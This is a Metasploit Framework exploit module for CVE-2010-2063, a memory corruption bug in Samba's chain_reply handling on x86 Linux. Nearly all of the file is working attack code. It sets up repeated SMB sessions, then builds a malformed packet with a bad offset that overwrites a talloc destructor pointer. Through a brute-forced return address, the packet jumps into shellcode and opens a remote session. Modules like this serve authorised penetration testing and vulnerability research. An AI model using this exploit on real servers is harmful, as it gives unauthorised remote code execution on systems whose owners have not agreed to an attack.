##
# $Id: chain_reply.rb 9852 2010-07-17 01:28:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::SMB
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba chain_reply Memory Corruption (Linux x86)',
      'Description'    => %q{
          This exploits a memory corruption vulnerability present in Samba versions
        prior to 3.3.13. When handling chained response packets, Samba fails to validate
        the offset value used when building the next part. By setting this value to a
        number larger than the destination buffer size, an attacker can corrupt memory.
        Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will
        cause the header of the input buffer chunk to be corrupted.

        After close inspection, it appears that 3.0.x versions of Samba are not
        exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot
        cause memory to be corrupted in an exploitable way. It is possible to corrupt the
        heap header of the "InputBuffer", but it didn't seem possible to get the chunk
        to be processed again prior to process exit.

        In order to gain code execution, this exploit attempts to overwrite a "talloc
        chunk" desctructor function pointer.

        This particular module is capable of exploiting the flaw on x86 Linux systems
        that do not have the nx memory protection.

        NOTE: It is possible to make exploitation attempts indefinitely since Samba forks
        for user sessions in the default configuration.
      },
      'Author'         => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 9852 $',
      'References'     =>
        [
          [ 'CVE', '2010-2063' ],
          [ 'OSVDB', '65518' ],
          [ 'URL', 'https://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873' ]
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 0x600,
          'BadChars' => "",
        },
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Linux (Debian5 3.2.5-4lenny6)',
            {
              'Offset2'      => 0x1fec,
              'Bruteforce'   =>
                {
                  'Start' => { 'Ret' => 0x080ad608 }, # add esp,0x10 / pop ebx / pop esi / pop ebp / ret (smbd bin)
                  'Stop'  => { 'Ret' => 0x080ad608 },
                  'Step'  => 0x300 # not used
                }
            }
          ],

          [ 'Debugging Target',
            {
              'Offset2'      => 0x1fec,
              'Bruteforce'   =>
                {
                  'Start' => { 'Ret' => 0xAABBCCDD },
                  'Stop'  => { 'Ret' => 0xAABBCCDD },
                  'Step'  => 0x300
                }
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 16 2010'))

    register_options(
      [
        Opt::RPORT(139)
      ], self.class)
  end

  #
  # Note: this code is duplicated from lib/rex/proto/smb/client.rb
  #
  # Authenticate using clear-text passwords
  #
  def session_setup_clear_ignore_response(user = '', pass = '', domain = '')

    data = [ pass, user, domain, self.simple.client.native_os, self.simple.client.native_lm ].collect{ |a| a + "\x00" }.join('');

    pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct
    self.simple.client.smb_defaults(pkt['Payload']['SMB'])

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
    pkt['Payload']['SMB'].v['Flags2'] = 0x2001
    pkt['Payload']['SMB'].v['WordCount'] = 10
    pkt['Payload'].v['AndX'] = 255
    pkt['Payload'].v['MaxBuff'] = 0xffdf
    pkt['Payload'].v['MaxMPX'] = 2
    pkt['Payload'].v['VCNum'] = 1
    pkt['Payload'].v['PasswordLen'] = pass.length + 1
    pkt['Payload'].v['Capabilities'] = 64
    pkt['Payload'].v['SessionKey'] = self.simple.client.session_id
    pkt['Payload'].v['Payload'] = data

    self.simple.client.smb_send(pkt.to_s)
    ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
  end


  def brute_exploit(addrs)

    curr_ret = addrs['Ret']
    
    # bleh, will fix later ;) stack/heap reuse messes things up sometimes
    100.times{

    begin
      print_status("Trying return address 0x%.8x..." %  curr_ret)

      connect
      self.simple.client.session_id = rand(31337)

      #puts "press any key"; $stdin.gets

      #
      # This allows us to allocate a talloc_chunk after the input buffer.
      # If doign so fails, we are lost ...
      #
      10.times { |x|
        session_setup_clear_ignore_response('', '', '')
      }

      # We re-use a pointer from the stack and jump back to our original "inbuf"
      distance = target['Offset2'] - 0x80
      jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string

      tlen = 0xc00
      trans =
        "\x00\x04" +
        "\x08\x20" +
        "\xff"+"SMB"+
        # SMBlogoffX
        [0x74].pack('V') +
        # tc->next, tc->prev
        jmp_back + ("\x42" * 3) +
        # tc->parent, tc->child
        "CCCCDDDD" +
        # tc->refs, must be zero
        ("\x00" * 4) +
        # over writes tc->destructor
        [addrs['Ret']].pack('V') +
        "\x00\x00\x00\x00"+
        "\xd0\x07\x0c\x00"+
        "\xd0\x07\x0c\x00"+
        "\x00\x00\x00\x00"+
        "\x00\x00\x00\x00"+
        "\x00\x00\xd0\x07"+
        "\x43\x00\x0c\x00"+
        "\x14\x08\x01\x00"+
        "\x00\x00\x00\x00"+
        "\x00\x00\x00\x00"+
        "\x00\x00\x00\x00"+
        "\x00\x00\x00\x00"+
        "\x00\x00\x00\x00"+
        "\x00\x00\x00\x00"+
        "\x00\x00\x00\x00"+
        "\x00\x00\x90"

      # We put the shellcode first, since only part of this packet makes it into memory.
      trans << payload.encoded
      trans << rand_text(tlen - trans.length)

      # Set what eventaully becomes 'smb_off2' to our unvalidated offset value.
      smb_off2 = target['Offset2']
      trans[39,2] = [smb_off2].pack('v')

      sock.put(trans)

    rescue EOFError
      # nothing
    rescue => e
      print_error("#{e}")
    end

    handler
    disconnect

  # bleh, will fix later ;)
    break if session_created?
  }

  end

end